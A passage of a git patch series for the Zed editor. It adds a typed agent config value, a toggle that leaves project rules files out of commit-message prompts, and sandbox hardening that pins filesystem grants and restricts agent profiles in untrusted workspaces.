                 default_config_options,
                 ..
-            } => default_config_options.get(config_id).map(|s| s.as_str()),
+            } => default_config_options.get(config_id),
         }
     }
 
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index e0ac05fcd6da8c..2e2218c5e30a78 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -667,6 +667,56 @@ impl std::ops::DerefMut for AllAgentServersSettings {
     }
 }
 
+#[derive(Deserialize, Serialize, Clone, JsonSchema, MergeFrom, Debug, PartialEq, Eq)]
+#[serde(untagged)]
+pub enum AgentConfigOptionValue {
+    ValueId(String),
+    Boolean(bool),
+}
+
+impl AgentConfigOptionValue {
+    pub fn as_value_id(&self) -> Option<&str> {
+        match self {
+            Self::ValueId(value) => Some(value),
+            Self::Boolean(_) => None,
+        }
+    }
+
+    pub fn as_bool(&self) -> Option<bool> {
+        match self {
+            Self::Boolean(value) => Some(*value),
+            Self::ValueId(_) => None,
+        }
+    }
+}
+
+impl std::fmt::Display for AgentConfigOptionValue {
+    fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::ValueId(value) => formatter.write_str(value),
+            Self::Boolean(value) => value.fmt(formatter),
+        }
+    }
+}
+
+impl From<String> for AgentConfigOptionValue {
+    fn from(value: String) -> Self {
+        Self::ValueId(value)
+    }
+}
+
+impl From<&str> for AgentConfigOptionValue {
+    fn from(value: &str) -> Self {
+        Self::ValueId(value.to_string())
+    }
+}
+
+impl From<bool> for AgentConfigOptionValue {
+    fn from(value: bool) -> Self {
+        Self::Boolean(value)
+    }
+}
+
 #[with_fallible_options]
 #[derive(Deserialize, Serialize, Clone, JsonSchema, MergeFrom, Debug, PartialEq)]
 #[serde(tag = "type", rename_all = "snake_case")]
@@ -687,11 +737,11 @@ pub enum CustomAgentServerSettings {
         default_mode: Option<String>,
         /// Default values for session config options.
         ///
-        /// This is a map from config option ID to value ID.
+        /// This is a map from config option ID to the default value for that option.
         ///
         /// Default: {}
         #[serde(default, skip_serializing_if = "HashMap::is_empty")]
-        default_config_options: HashMap<String, String>,
+        default_config_options: HashMap<String, AgentConfigOptionValue>,
         /// Favorited values for session config options.
         ///
         /// This is a map from config option ID to a list of favorited value IDs.
@@ -716,11 +766,11 @@ pub enum CustomAgentServerSettings {
         default_mode: Option<String>,
         /// Default values for session config options.
         ///
-        /// This is a map from config option ID to value ID.
+        /// This is a map from config option ID to the default value for that option.
         ///
         /// Default: {}
         #[serde(default, skip_serializing_if = "HashMap::is_empty")]
-        default_config_options: HashMap<String, String>,
+        default_config_options: HashMap<String, AgentConfigOptionValue>,
         /// Favorited values for session config options.
         ///
         /// This is a map from config option ID to a list of favorited value IDs.
@@ -863,6 +913,46 @@ impl std::fmt::Display for ToolPermissionMode {
 mod tests {
     use super::*;
 
+    #[test]
+    fn agent_config_option_value_serializes_value_id_as_string() {
+        let value = AgentConfigOptionValue::from("manual");
+
+        assert_eq!(
+            serde_json::to_value(&value).expect("serialize value id"),
+            serde_json::json!("manual")
+        );
+        assert_eq!(
+            serde_json::from_value::<AgentConfigOptionValue>(serde_json::json!("manual"))
+                .expect("deserialize value id"),
+            AgentConfigOptionValue::ValueId("manual".to_string())
+        );
+    }
+
+    #[test]
+    fn agent_config_option_value_serializes_boolean_as_boolean() {
+        let value = AgentConfigOptionValue::Boolean(true);
+
+        assert_eq!(
+            serde_json::to_value(&value).expect("serialize boolean"),
+            serde_json::json!(true)
+        );
+        assert_eq!(
+            serde_json::from_value::<AgentConfigOptionValue>(serde_json::json!(true))
+                .expect("deserialize boolean"),
+            AgentConfigOptionValue::Boolean(true)
+        );
+    }
+
+    #[test]
+    fn agent_config_option_value_merge_replaces_existing_value() {
+        use crate::merge_from::MergeFrom as _;
+
+        let mut value = AgentConfigOptionValue::ValueId("manual".to_string());
+        value.merge_from(&AgentConfigOptionValue::Boolean(true));
+
+        assert_eq!(value, AgentConfigOptionValue::Boolean(true));
+    }
+
     #[test]
     fn test_set_tool_default_permission_creates_structure() {
         let mut settings = AgentSettingsContent::default();
diff --git a/crates/settings_ui/src/pages/external_agents_page.rs b/crates/settings_ui/src/pages/external_agents_page.rs
index 3369b58be0bf8d..f05937680ed80b 100644
--- a/crates/settings_ui/src/pages/external_agents_page.rs
+++ b/crates/settings_ui/src/pages/external_agents_page.rs
@@ -9,7 +9,9 @@ use gpui::{
 };
 use itertools::Itertools as _;
 use project::agent_server_store::{AgentId, AgentServerStore, ExternalAgentSource};
-use settings::{CustomAgentServerSettings, SettingsStore, update_settings_file};
+use settings::{
+    AgentConfigOptionValue, CustomAgentServerSettings, SettingsStore, update_settings_file,
+};
 use ui::{
     AiSettingItem, AiSettingItemSource, AiSettingItemStatus, ContextMenu, ContextMenuEntry,
     Divider, DividerColor, PopoverMenu, Tooltip, prelude::*,
@@ -366,7 +368,7 @@ pub(crate) struct CustomAgentForm {
     /// Advanced fields not surfaced by the form. They're preserved verbatim so
     /// editing the basic settings doesn't drop a user's hand-written config.
     default_mode: Option<String>,
-    default_config_options: HashMap<String, String>,
+    default_config_options: HashMap<String, AgentConfigOptionValue>,
     favorite_config_option_values: HashMap<String, Vec<String>>,
     /// Stable handles for the Cancel/Save buttons so they can render a focus
     /// ring. `Filled`/`Subtle` buttons only get a subtle `focus_visible`
@@ -812,7 +814,7 @@ struct CustomAgentFormValues {
     args: String,
     env: Vec<(String, String)>,
     default_mode: Option<String>,
-    default_config_options: HashMap<String, String>,
+    default_config_options: HashMap<String, AgentConfigOptionValue>,
     favorite_config_option_values: HashMap<String, Vec<String>>,
 }
 
@@ -1157,7 +1159,7 @@ mod tests {
         let mut values = values();
         values.default_mode = Some("ask".into());
         values.default_config_options =
-            HashMap::from_iter([("opt".to_string(), "val".to_string())]);
+            HashMap::from_iter([("opt".to_string(), AgentConfigOptionValue::from("val"))]);
 
         let (_, _, content) = build_settings_from_values(values).unwrap();
         match content {
@@ -1168,8 +1170,10 @@ mod tests {
             } => {
                 assert_eq!(default_mode.as_deref(), Some("ask"));
                 assert_eq!(
-                    default_config_options.get("opt").map(String::as_str),
-                    Some("val")
+                    default_config_options
+                        .get("opt")
+                        .and_then(AgentConfigOptionValue::as_value_id),
+                    Some("val"),
                 );
             }
             _ => panic!("expected a custom agent"),

From 38562721884c73fd8c60af3d1cf00550d72a6a6c Mon Sep 17 00:00:00 2001
From: Lavi Sharma <40620724+ilavisharma@users.noreply.github.com>
Date: Tue, 30 Jun 2026 15:51:40 +0530
Subject: [PATCH 176/772] agent: Add commit message project rules toggle
 (#56867)

This follows up on discussion #56551.

Right now, when Zed generates a commit message, it includes project
rules files like `AGENTS.md`, `CLAUDE.md`, and `.rules` in the prompt
alongside the git diff. That can add a lot of extra context for a task
that is really just summarizing the changes in a commit.

This PR adds an `include_project_rules` option to
`agent.commit_message_model`. When it is set to `false`, Zed skips
loading project rules when generating commit messages. If the option is
omitted, the current behavior stays the same.

Example:

```json
   {
     "agent": {
       "commit_message_model": {
         "provider": "anthropic",
         "model": "claude-3-5-haiku",
         "include_project_rules": false
       }
     }
   }
 ```

I also updated the settings plumbing so this option is only used for commit message generation and defaults to true when not specified.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

 Release Notes:

 - agent: Added setting to exclude project rules files from commit message generation prompts (`agent.commit_message_include_project_rules`)

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 assets/settings/default.json                |  3 +++
 crates/agent/src/tool_permissions.rs        |  1 +
 crates/agent_settings/src/agent_settings.rs |  4 ++++
 crates/agent_ui/src/agent_ui.rs             |  1 +
 crates/git_ui/src/git_panel.rs              | 23 +++++++++++++++------
 crates/settings_content/src/agent.rs        |  5 +++++
 6 files changed, 31 insertions(+), 6 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index e6842ae4fa9c39..c1ca00ee0ac88d 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1034,6 +1034,9 @@
   "agent": {
     // Whether the inline assistant should use streaming tools, when available
     "inline_assistant_use_streaming_tools": true,
+    // Whether to include project rules files (AGENTS.md, CLAUDE.md, .rules, etc.)
+    // in the prompt when generating git commit messages.
+    "commit_message_include_project_rules": true,
     // Whether the agent is enabled.
     "enabled": true,
     // Whether to show the agent panel button in the status bar.
diff --git a/crates/agent/src/tool_permissions.rs b/crates/agent/src/tool_permissions.rs
index d57cdb93953ace..02198a3f8db415 100644
--- a/crates/agent/src/tool_permissions.rs
+++ b/crates/agent/src/tool_permissions.rs
@@ -580,6 +580,7 @@ mod tests {
             inline_assistant_model: None,
             inline_assistant_use_streaming_tools: false,
             commit_message_model: None,
+            commit_message_include_project_rules: true,
             commit_message_instructions: None,
             thread_summary_model: None,
             inline_alternatives: vec![],
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 9b7970ba2cc1d1..037307e54eb5b5 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -216,6 +216,7 @@ pub struct AgentSettings {
     pub inline_assistant_model: Option<LanguageModelSelection>,
     pub inline_assistant_use_streaming_tools: bool,
     pub commit_message_model: Option<LanguageModelSelection>,
+    pub commit_message_include_project_rules: bool,
     pub commit_message_instructions: Option<String>,
     pub thread_summary_model: Option<LanguageModelSelection>,
     pub inline_alternatives: Vec<LanguageModelSelection>,
@@ -747,6 +748,9 @@ impl Settings for AgentSettings {
             inline_assistant_use_streaming_tools: agent
                 .inline_assistant_use_streaming_tools
                 .unwrap_or(true),
+            commit_message_include_project_rules: agent
+                .commit_message_include_project_rules
+                .unwrap(),
             commit_message_model: agent.commit_message_model,
             commit_message_instructions: agent.commit_message_instructions,
             thread_summary_model: agent.thread_summary_model,
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 4248de814e9901..ad5940d21c0e5b 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -993,6 +993,7 @@ mod tests {
             inline_assistant_model: None,
             inline_assistant_use_streaming_tools: false,
             commit_message_model: None,
+            commit_message_include_project_rules: true,
             commit_message_instructions: None,
             thread_summary_model: None,
             inline_alternatives: vec![],
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 7efa8f9b42ae23..0ace54e100e5d3 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -3041,6 +3041,10 @@ impl GitPanel {
         });
 
         let temperature = AgentSettings::temperature_for_model(&model, cx);
+
+        let include_project_rules =
+            AgentSettings::get_global(cx).commit_message_include_project_rules;
+
         let instructions = AgentSettings::get_global(cx)
             .commit_message_instructions
             .clone();
@@ -3080,12 +3084,19 @@ impl GitPanel {
                 const MAX_DIFF_BYTES: usize = 20_000;
                 diff_text = Self::compress_commit_diff(&diff_text, MAX_DIFF_BYTES);
 
-                let rules_content =
-                    Self::load_project_rules(&project, &repo_work_dir, &mut cx).await;
-                let user_agents_md = cx.update(|cx| {
-                    UserAgentsMd::global(cx)
-                        .and_then(|user_agents_md| user_agents_md.content().cloned())
-                });
+                let rules_content = if include_project_rules {
+                    Self::load_project_rules(&project, &repo_work_dir, &mut cx).await
+                } else {
+                    None
+                };
+                let user_agents_md = if include_project_rules {
+                    cx.update(|cx| {
+                        UserAgentsMd::global(cx)
+                            .and_then(|user_agents_md| user_agents_md.content().cloned())
+                    })
+                } else {
+                    None
+                };
 
                 let prompt = include_str!("../src/commit_message_prompt.txt");
 
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 2e2218c5e30a78..55bb90dd5c70cb 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -248,6 +248,11 @@ pub struct AgentSettingsContent {
     pub inline_assistant_use_streaming_tools: Option<bool>,
     /// Model to use for generating git commit messages. Defaults to default_model when not specified.
     pub commit_message_model: Option<LanguageModelSelection>,
+    /// Whether to include project rules files (AGENTS.md, CLAUDE.md, .rules, etc.)
+    /// in the prompt when generating git commit messages.
+    ///
+    /// Default: true
+    pub commit_message_include_project_rules: Option<bool>,
     /// Custom instructions to include in the prompt when generating git commit messages.
     /// Applied in addition to any project rules files (such as `.rules` or `AGENTS.md`).
     pub commit_message_instructions: Option<String>,

From 4a99aa870e3e96a5350b7d707da344ca8e9a21df Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Tue, 30 Jun 2026 12:10:04 +0100
Subject: [PATCH 177/772] agent: More sandboxing changes (#60111)

Large change to sandboxing:
- fixes a nasty TOCTOU relating to a symlink swap attack, documented in
the `sandboxing/README.md`
- Adds UI and restrictions when in an untrusted workspace
- Adds tests for (soon to be removed) git support


---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                    |    3 +
 crates/acp_thread/src/acp_thread.rs           |   17 +-
 crates/acp_thread/src/terminal.rs             |   51 +-
 crates/agent/Cargo.toml                       |    5 +
 crates/agent/src/sandboxing.rs                |   66 +-
 crates/agent/src/thread.rs                    |   95 +-
 crates/agent/src/tools.rs                     |   34 +
 crates/agent/src/tools/fetch_tool.rs          |    4 +
 crates/agent/src/tools/terminal_tool.rs       |   72 +-
 crates/agent_settings/src/agent_profile.rs    |   61 +-
 crates/agent_ui/src/conversation_view.rs      |   11 +
 .../src/conversation_view/thread_view.rs      |  251 ++--
 crates/agent_ui/src/profile_selector.rs       |  201 +++-
 crates/docs_preprocessor/src/main.rs          |   46 +-
 crates/sandbox/Cargo.toml                     |    3 +
 crates/sandbox/README.md                      |  261 +++++
 crates/sandbox/bind_source_toctou_test.sh     |   29 +
 crates/sandbox/src/bwrap_test_helper.rs       |  106 +-
 crates/sandbox/src/linux_bubblewrap.rs        | 1025 +++++++++++++++--
 crates/sandbox/src/macos_seatbelt.rs          |   48 +-
 crates/sandbox/src/sandbox.rs                 |  486 +++++++-
 crates/sandbox/src/windows_wsl.rs             |  238 +++-
 crates/sandbox/src/wsl_sandbox_test_helper.rs |   11 +-
 docs/README.md                                |   13 +-
 docs/book.toml                                |    2 +-
 nix/build.nix                                 |    7 +
 nix/dev/flake.lock                            |   17 +
 nix/dev/flake.nix                             |    4 +
 nix/modules/devshells.nix                     |   42 +-
 nix/tests/sandboxing/default.nix              |  137 +++
 30 files changed, 2971 insertions(+), 375 deletions(-)
 create mode 100644 crates/sandbox/README.md
 create mode 100755 crates/sandbox/bind_source_toctou_test.sh

diff --git a/Cargo.lock b/Cargo.lock
index ab1ad792fb7fa7..5ab20e6db9fd7a 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -288,6 +288,7 @@ dependencies = [
  "quick-xml 0.38.3",
  "rand 0.9.4",
  "regex",
+ "release_channel",
  "reqwest_client",
  "rust-embed",
  "sandbox",
@@ -11441,6 +11442,7 @@ dependencies = [
  "cfg-if",
  "cfg_aliases 0.2.1",
  "libc",
+ "memoffset",
 ]
 
 [[package]]
@@ -15972,6 +15974,7 @@ dependencies = [
  "http_proxy",
  "libc",
  "log",
+ "nix 0.29.0",
  "serde",
  "serde_json",
  "smol",
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 2f495df96ae17d..d060ecc26a6d1a 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -3952,14 +3952,15 @@ impl AcpThread {
                     let (task_command, task_args) = builder
                         .redirect_stdin_to_dev_null()
                         .build(Some(command.clone()), &args);
-                    let (task_command, task_args, task_env, sandbox) = prepare_sandbox_wrap(
-                        task_command,
-                        task_args,
-                        cwd.clone(),
-                        sandbox_wrap,
-                        env,
-                    )
-                    .await?;
+                    let (task_command, task_args, task_env, sandbox) = cx
+                        .background_spawn(prepare_sandbox_wrap(
+                            task_command,
+                            task_args,
+                            cwd.clone(),
+                            sandbox_wrap,
+                            env,
+                        ))
+                        .await?;
                     (task_command, task_args, task_env, sandbox, cwd.clone())
                 };
                 let terminal = project
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index b39d1e52a4e2ac..7526ad4a1b3cfe 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -59,6 +59,13 @@ pub struct SandboxWrap {
     /// enforcing proxy binds a loopback port on this host, so it can only
     /// confine local commands; a remote terminal can't reach it.
     pub is_local: bool,
+    /// Windows/WSL only: `(release channel, version)` of the Linux `zed` to
+    /// provision inside WSL as the sandbox helper (version `latest` for dev
+    /// builds). Resolved by the agent (which can read the running app's release
+    /// info) and forwarded to the sandbox. `None` on other platforms, or when
+    /// the release can't be determined, in which case the WSL backend falls back
+    /// to running bwrap without in-sandbox bind validation.
+    pub wsl_zed_release: Option<(String, String)>,
 }
 
 #[derive(Clone, Debug, Default)]
@@ -137,26 +144,32 @@ impl SandboxWrap {
     /// (fail-open), or refuse (fail-closed). It runs a brief probe subprocess on
     /// Linux, so call it off the main thread. On platforms whose sandbox can't
     /// fail to set up this way it always returns `Ok`.
-    pub fn can_create_sandbox(
-        &self,
-        cwd: Option<&std::path::Path>,
-    ) -> Result<(), LinuxWslSandboxError> {
-        sandbox::Sandbox::can_create(&self.to_policy(), cwd).map_err(LinuxWslSandboxError::from)
+    pub fn can_create_sandbox(&self) -> Result<(), LinuxWslSandboxError> {
+        sandbox::Sandbox::can_create(&self.to_policy()).map_err(LinuxWslSandboxError::from)
     }
 
     /// Translate this request into the cross-platform [`sandbox::SandboxPolicy`].
+    ///
+    /// This is the enforcement-policy construction point, so it **captures** each
+    /// grant as a [`sandbox::HostFilesystemLocation`] (pinning the inode / canonical
+    /// path) rather than passing a re-resolvable path. A location that can't be
+    /// captured (e.g. it doesn't exist) is dropped from the grant — fail-closed.
     fn to_policy(&self) -> sandbox::SandboxPolicy {
         let fs = if self.allow_fs_write {
             sandbox::SandboxFsPolicy::Unrestricted
         } else {
-            sandbox::SandboxFsPolicy::Restricted {
-                writable_paths: self
-                    .writable_paths
-                    .iter()
-                    .cloned()
-                    .chain(self.extra_write_paths.iter().cloned())
-                    .collect(),
-            }
+            let writable_paths = self
+                .writable_paths
+                .iter()
+                .chain(self.extra_write_paths.iter())
+                .filter_map(|path| {
+                    // Create not-yet-existing writable grants (e.g. an approved
+                    // scratch dir) so they can be captured and bound; best-effort.
+                    let _ = std::fs::create_dir_all(path);
+                    sandbox::HostFilesystemLocation::new(path).ok()
+                })
+                .collect();
+            sandbox::SandboxFsPolicy::Restricted { writable_paths }
         };
         let network = match &self.network {
             SandboxNetworkAccess::None => sandbox::SandboxNetPolicy::Blocked,
@@ -169,7 +182,11 @@ impl SandboxWrap {
                     .collect(),
             },
         };
-        let git_dirs = self.git_dirs.clone();
+        let git_dirs = self
+            .git_dirs
+            .iter()
+            .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
+            .collect();
         let git = if self.allow_git_access {
             sandbox::GitSandboxPolicy::Allowed { git_dirs }
         } else {
@@ -238,6 +255,12 @@ pub(crate) async fn prepare_sandbox_wrap(
 
     let mut sandbox =
         sandbox::Sandbox::new(sandbox_wrap.to_policy()).map_err(anyhow::Error::new)?;
+    // Windows/WSL only: tell the sandbox which Linux `zed` to provision inside
+    // WSL as its `--wsl-sandbox-helper`. A no-op (and a no-op setter) elsewhere.
+    #[cfg(target_os = "windows")]
+    if let Some((channel, version)) = sandbox_wrap.wsl_zed_release.clone() {
+        sandbox.set_wsl_zed_release(channel, version);
+    }
     let command = sandbox::CommandAndArgs {
         program,
         args,
diff --git a/crates/agent/Cargo.toml b/crates/agent/Cargo.toml
index 8420cbede15273..30eb959298ea7e 100644
--- a/crates/agent/Cargo.toml
+++ b/crates/agent/Cargo.toml
@@ -79,6 +79,11 @@ web_search.workspace = true
 zed_env_vars.workspace = true
 zstd.workspace = true
 
+# Used only on Windows to resolve the running release channel/version so the WSL
+# sandbox helper can fetch a matching Linux `zed`.
+[target.'cfg(target_os = "windows")'.dependencies]
+release_channel.workspace = true
+
 [dev-dependencies]
 assets.workspace = true
 async-io.workspace = true
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index 2c5e32a02d4399..e8597a9412dd00 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -30,7 +30,9 @@ use feature_flags::{FeatureFlagAppExt as _, SandboxingFeatureFlag};
 use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
-use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
+use sandbox::{
+    GitSandboxPolicy, HostFilesystemLocation, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
+};
 use settings::Settings;
 use std::path::PathBuf;
 
@@ -126,6 +128,13 @@ impl ThreadSandbox {
         match self {
             ThreadSandbox::Unsandboxed => ThreadSandbox::Unsandboxed,
             ThreadSandbox::Sandboxed(policy) => {
+                // Capture each `.git` location (pinning its inode / canonical
+                // path). A location that can't be captured (e.g. doesn't exist)
+                // is dropped — fail-closed.
+                let git_dirs = git_dirs
+                    .into_iter()
+                    .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                    .collect();
                 let git = if allowed {
                     GitSandboxPolicy::Allowed { git_dirs }
                 } else {
@@ -158,7 +167,11 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
         SandboxFsPolicy::Unrestricted
     } else {
         SandboxFsPolicy::Restricted {
-            writable_paths: persistent.write_paths.clone(),
+            writable_paths: persistent
+                .write_paths
+                .iter()
+                .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                .collect(),
         }
     };
     let network = if persistent.allow_all_hosts {
@@ -437,7 +450,11 @@ impl ThreadSandboxGrants {
             SandboxFsPolicy::Unrestricted
         } else {
             SandboxFsPolicy::Restricted {
-                writable_paths: self.write_paths.clone(),
+                writable_paths: self
+                    .write_paths
+                    .iter()
+                    .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                    .collect(),
             }
         };
         let network = if self.network_any_host {
@@ -613,6 +630,7 @@ pub(crate) fn insert_host_pattern(set: &mut Vec<HostPattern>, pattern: HostPatte
 #[cfg(test)]
 mod tests {
     use super::*;
+    use std::path::Path;
 
     fn hosts(list: &[&str]) -> NetworkRequest {
         NetworkRequest::Hosts(
@@ -644,9 +662,19 @@ mod tests {
 
     #[test]
     fn thread_sandbox_merge_unsandboxed_wins_else_unions_scopes() {
-        let policy = |paths: &[&str], hosts: &[&str]| SandboxPolicy {
+        // Writable paths are captured as real `HostFilesystemLocation`s (which
+        // open an fd and key on the inode), so the test uses real directories.
+        let dir_a = tempfile::tempdir().expect("create temp dir a");
+        let dir_b = tempfile::tempdir().expect("create temp dir b");
+        let path_a = dir_a.path();
+        let path_b = dir_b.path();
+
+        let policy = |paths: &[&Path], hosts: &[&str]| SandboxPolicy {
             fs: SandboxFsPolicy::Restricted {
-                writable_paths: paths.iter().map(PathBuf::from).collect(),
+                writable_paths: paths
+                    .iter()
+                    .map(|p| HostFilesystemLocation::new(p).expect("capture temp dir"))
+                    .collect(),
             },
             network: if hosts.is_empty() {
                 SandboxNetPolicy::Blocked
@@ -661,20 +689,20 @@ mod tests {
         // Unsandboxed on either side wins — the agent runs with ambient access.
         assert!(
             ThreadSandbox::Unsandboxed
-                .merge(ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"])))
+                .merge(ThreadSandbox::Sandboxed(policy(&[path_a], &["a.com"])))
                 .is_unsandboxed()
         );
         assert!(
-            ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"]))
+            ThreadSandbox::Sandboxed(policy(&[path_a], &["a.com"]))
                 .merge(ThreadSandbox::Unsandboxed)
                 .is_unsandboxed()
         );
 
         // Two sandboxed layers union their scopes.
         assert_eq!(
-            ThreadSandbox::Sandboxed(policy(&["/a"], &["a.com"]))
-                .merge(ThreadSandbox::Sandboxed(policy(&["/b"], &["b.com"]))),
-            ThreadSandbox::Sandboxed(policy(&["/a", "/b"], &["a.com", "b.com"]))
+            ThreadSandbox::Sandboxed(policy(&[path_a], &["a.com"]))
+                .merge(ThreadSandbox::Sandboxed(policy(&[path_b], &["b.com"]))),
+            ThreadSandbox::Sandboxed(policy(&[path_a, path_b], &["a.com", "b.com"]))
         );
     }
 
@@ -743,13 +771,19 @@ mod tests {
     fn thread_grants_to_policy_maps_paths_and_domains() {
         use sandbox::{SandboxFsPolicy, SandboxNetPolicy};
 
+        // `to_policy` captures real `HostFilesystemLocation`s, so use a real dir.
+        let build_dir = tempfile::tempdir().expect("create temp build dir");
+        let build_path = build_dir.path().to_str().expect("utf-8 temp path");
+
         let mut grants = ThreadSandboxGrants::default();
-        grants.record(&request(hosts(&["github.com"]), false, &["/tmp/build"]));
+        grants.record(&request(hosts(&["github.com"]), false, &[build_path]));
         let policy = grants.to_policy();
         assert_eq!(
             policy.fs,
             SandboxFsPolicy::Restricted {
-                writable_paths: vec![PathBuf::from("/tmp/build")]
+                writable_paths: vec![
+                    HostFilesystemLocation::new(build_dir.path()).expect("capture temp dir")
+                ]
             }
         );
         assert_eq!(
@@ -781,8 +815,10 @@ mod tests {
     fn settings_policy_maps_persistent_permissions() {
         use sandbox::{SandboxFsPolicy, SandboxNetPolicy};
 
+        // `settings_sandbox_policy` captures real `HostFilesystemLocation`s.
+        let log_dir = tempfile::tempdir().expect("create temp log dir");
         let persistent = SandboxPermissions {
-            write_paths: vec![PathBuf::from("/var/log")],
+            write_paths: vec![log_dir.path().to_path_buf()],
             network_hosts: vec!["*.npmjs.org".to_string()],
             ..Default::default()
         };
@@ -790,7 +826,9 @@ mod tests {
         assert_eq!(
             policy.fs,
             SandboxFsPolicy::Restricted {
-                writable_paths: vec![PathBuf::from("/var/log")]
+                writable_paths: vec![
+                    HostFilesystemLocation::new(log_dir.path()).expect("capture temp dir")
+                ]
             }
         );
         assert_eq!(
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 704e48eef5e636..980ed067a3864f 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -18,8 +18,8 @@ use crate::sandboxing::{
 use crate::tools::{SandboxGitPathCandidates, sandbox_git_paths};
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{
-    AgentProfileId, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
-    SUMMARIZE_THREAD_DETAILED_PROMPT, SUMMARIZE_THREAD_PROMPT,
+    AgentProfileId, AgentProfileSettings, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
+    SUMMARIZE_THREAD_DETAILED_PROMPT, SUMMARIZE_THREAD_PROMPT, builtin_profiles,
 };
 use anyhow::{Context as _, Result, anyhow};
 use chrono::{DateTime, Local, Utc};
@@ -46,7 +46,7 @@ use language_model::{
     LanguageModelToolUse, LanguageModelToolUseId, MessageContent, Role, SelectedModel, Speed,
     StopReason, TokenUsage, ZED_CLOUD_PROVIDER_ID,
 };
-use project::Project;
+use project::{Project, trusted_worktrees::TrustedWorktrees};
 use prompt_store::ProjectContext;
 use schemars::{JsonSchema, Schema};
 use serde::de::DeserializeOwned;
@@ -1226,6 +1226,9 @@ pub struct Thread {
     initial_project_snapshot: Shared<Task<Option<Arc<ProjectSnapshot>>>>,
     pub(crate) context_server_registry: Entity<ContextServerRegistry>,
     profile_id: AgentProfileId,
+    /// Whether `profile_id` was downgraded to `minimal` at thread start because
+    /// the workspace is restricted. Used purely to surface a warning in the UI.
+    profile_downgraded_for_restricted_workspace: bool,
     project_context: Entity<ProjectContext>,
     pub(crate) templates: Arc<Templates>,
     model: ThreadModel,
@@ -1320,7 +1323,8 @@ impl Thread {
         cx: &mut Context<Self>,
     ) -> Self {
         let settings = AgentSettings::get_global(cx);
-        let profile_id = settings.default_profile.clone();
+        let (profile_id, profile_downgraded_for_restricted_workspace) =
+            Self::profile_for_restricted_workspace(settings.default_profile.clone(), &project, cx);
         let enable_thinking = settings
             .default_model
             .as_ref()
@@ -1363,6 +1367,7 @@ impl Thread {
             },
             context_server_registry,
             profile_id,
+            profile_downgraded_for_restricted_workspace,
             project_context,
             templates,
             model,
@@ -1395,6 +1400,8 @@ impl Thread {
         self.thinking_effort = parent.thinking_effort.clone();
         self.summarization_model = parent.summarization_model.clone();
         self.profile_id = parent.profile_id.clone();
+        self.profile_downgraded_for_restricted_workspace =
+            parent.profile_downgraded_for_restricted_workspace;
     }
 
     fn apply_model_selection(
@@ -1738,6 +1745,7 @@ impl Thread {
             initial_project_snapshot: Task::ready(db_thread.initial_project_snapshot).shared(),
             context_server_registry,
             profile_id,
+            profile_downgraded_for_restricted_workspace: false,
             project_context,
             templates,
             model,
@@ -2195,7 +2203,44 @@ impl Thread {
         &self.profile_id
     }
 
+    /// Whether this thread's profile was downgraded to `minimal` at thread start
+    /// because the workspace is restricted.
+    pub fn profile_was_downgraded(&self) -> bool {
+        self.profile_downgraded_for_restricted_workspace
+    }
+
+    /// Computes the profile a thread should start with, given the user's chosen
+    /// profile. In a restricted workspace, the built-in `write`/`ask` profiles
+    /// are downgraded to `minimal` — but only when both the chosen profile and
+    /// `minimal` are unmodified, shipped defaults, so we never override a user's
+    /// custom or customized profiles.
+    ///
+    /// Returns the (possibly downgraded) profile and whether a downgrade
+    /// happened.
+    fn profile_for_restricted_workspace(
+        profile_id: AgentProfileId,
+        project: &Entity<Project>,
